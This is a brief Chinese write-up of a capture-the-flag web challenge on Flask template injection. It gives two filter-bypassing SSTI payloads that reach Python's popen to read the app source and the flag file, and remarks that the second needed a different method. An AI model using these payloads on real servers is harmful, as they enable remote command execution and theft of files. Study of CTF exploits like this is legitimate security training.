web | [pasecactf_2019]flask_ssti

明显的ssti

过滤单引号，点，下划线

直接丢exp了

读源码

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat%20app\x2epy")["read"]()}}

读flag

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat%20/proc/self/fd/3")["read"]()}}

我感觉上面的应该就可以了，不过就是读不出来东西，可能有点细微的差别，用另外一个get_data就可以成功了。